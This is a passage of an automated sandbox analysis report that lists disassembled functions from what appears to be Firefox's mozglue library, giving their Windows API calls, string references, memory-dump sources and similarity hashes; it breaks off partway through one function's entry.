Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701
MapViewOfFileNuma2, xrefs: 6C6697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C6A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C6A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A0041
GetCurrentThreadId.KERNEL32 ref: 6C6A0075
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C6A0090
free.MOZGLUE(?), ref: 6C6A0104
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C6A005B

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction ID: 7e6e514935adee0641d6f1f8b256edd75366cfb438b1d6f785e6d5037f67f481
Opcode Fuzzy Hash: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction Fuzzy Hash: 17417E755006459FCB10CF66C880A9ABBF1FF8A318F44491DE95A83B51D731BC16CBAE

Function 6C667E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C652030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C673F47,?,?,?,6C673F47,6C671A70,?), ref: 6C65207F
memset.VCRUNTIME140(?,000000E5,6C673F47,?,6C673F47,6C671A70,?), ref: 6C6520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C673F47,6C671A70,?), ref: 6C65211A
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C673F47,6C671A70,?), ref: 6C6521BA
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C6521E0
LeaveCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652232

Strings

MOZ_CRASH(), xrefs: 6C65227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C652253, 6C652268

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction ID: 7e36738cd544deb886a7857f14d62307f3bb1c14c81ea5c6fc06f313dd50c072
Opcode Fuzzy Hash: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction Fuzzy Hash: A861E431F042168FCB14CE69C889B6E77B1AF85318F794239E624A7B94D770A810CB99

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C6A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

